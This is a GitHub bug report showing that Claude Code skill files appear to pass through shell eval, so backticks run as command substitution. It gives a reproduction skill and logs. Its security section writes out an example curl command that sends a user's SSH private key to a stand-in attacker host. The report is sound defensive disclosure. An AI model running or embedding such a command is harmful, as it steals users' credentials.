[BUG] Skill content passed through shell eval - backticks interpreted as command substitution

Resolved 💬 4 comments Opened Dec 17, 2025 by icanhasjonas Closed Dec 21, 2025

Preflight Checklist

  • [x] I have searched existing issues and this hasn't been reported yet
  • [x] This is a single bug report (please file separate reports for different bugs)
  • [x] I am using the latest version of Claude Code

What's Wrong?

When invoking a skill via Skill(skillname), the skill content appears to be passed through a shell eval. This causes backticks in markdown code blocks to be interpreted as command substitution, and ! characters trigger bash history expansion.

This is a security vulnerability - malicious skill content could execute arbitrary shell command

What Should Happen?

Skill SKILL.md files should be read as plain text and injected into context without any shell processing. Backticks in markdown code blocks should remain literal characters, not trigger command substitution. The skill loading path should never pass content through shell eval.

Error Messages/Logs

⏺ Skill(test-shell-bug)
  ⎿  Error: Bash command failed for pattern "!` followed by backtick should NOT trigger shell history expansion.

     ## Test Case 2: Command substitution pattern

     Here's some code: `": [stderr]
     (eval):5: unmatched '

Steps to Reproduce

mkdir -p ~/.claude/skills/test-shell-bug

Minimal skill file to reproduce the error

---
name: test-shell-bug
description: Minimal reproduction of shell eval bug. Use when testing skill loading.
---

# Test Skill - Shell Bug Reproduction

This skill tests whether backticks are processed through shell eval.

## Test Case 1: Exclamation before backtick

Look at this code: `echo "wow!"`

The pattern `!` followed by backtick should NOT trigger shell history expansion.

## Test Case 2: Command substitution pattern

Here's some code: `$(whoami)` - this should be literal text.

## Test Case 3: Nested backticks

```javascript
const msg = `Hello world!`;
console.log(msg);

If you see this text, the skill loaded successfully without shell interference.


### Claude Model

Opus

### Is this a regression?

Yes, this worked in a previous version

### Last Working Version

_No response_

### Claude Code Version

2.0.71

### Platform

Anthropic API

### Operating System

macOS

### Terminal/Shell

iTerm2

### Additional Information

Key observations:

(eval):5: is zsh’s error format for the eval builtin
The shell extracted everything from ! to the next backtick as a “pattern”
Content between backticks is being interpreted as command substitution
Security Implications

If skill content goes through shell eval:

Arbitrary code execution - A skill could contain:

Here's an example: `curl attacker.com/steal?data=$(cat ~/.ssh/id_rsa | base64)`
This would exfiltrate the user’s SSH private key.

Silent execution - Users trust skills as documentation/prompts, not executable code

Supply chain risk - Shared skills from community sources could be weaponized


Root Cause Hypothesis

Somewhere in the skill loading path, content is being passed through shell for processing (possibly for variable expansion or pattern matching). The backticks trigger command substitution.

Additional Context

Skills without ! near backticks load successfully
The error format confirms zsh eval is involved
This affects skills with JavaScript code examples (template literals use backticks)



---
Current statusline configuration 

```json
  "statusLine": {
      "type": "command",
      "command": "~/.claude/scripts/statusline-tmux.sh",
      "padding": 0
  }

The script reads JSON from stdin and extracts fields with jq - model, workspace, transcript_path. Nothing that should touch skill content.

Only hook I have

  "hooks": {
      "Notification": [{
          "matcher": "",
          "hooks": [{
              "type": "command",
              "command": "afplay /System/Library/Sounds/Funk.aiff"
          }]
      }]
  }

UPDATE: Tested with no hooks and no status line, same result

View original on GitHub ↗

This issue has 4 comments on GitHub. Read the full discussion on GitHub ↗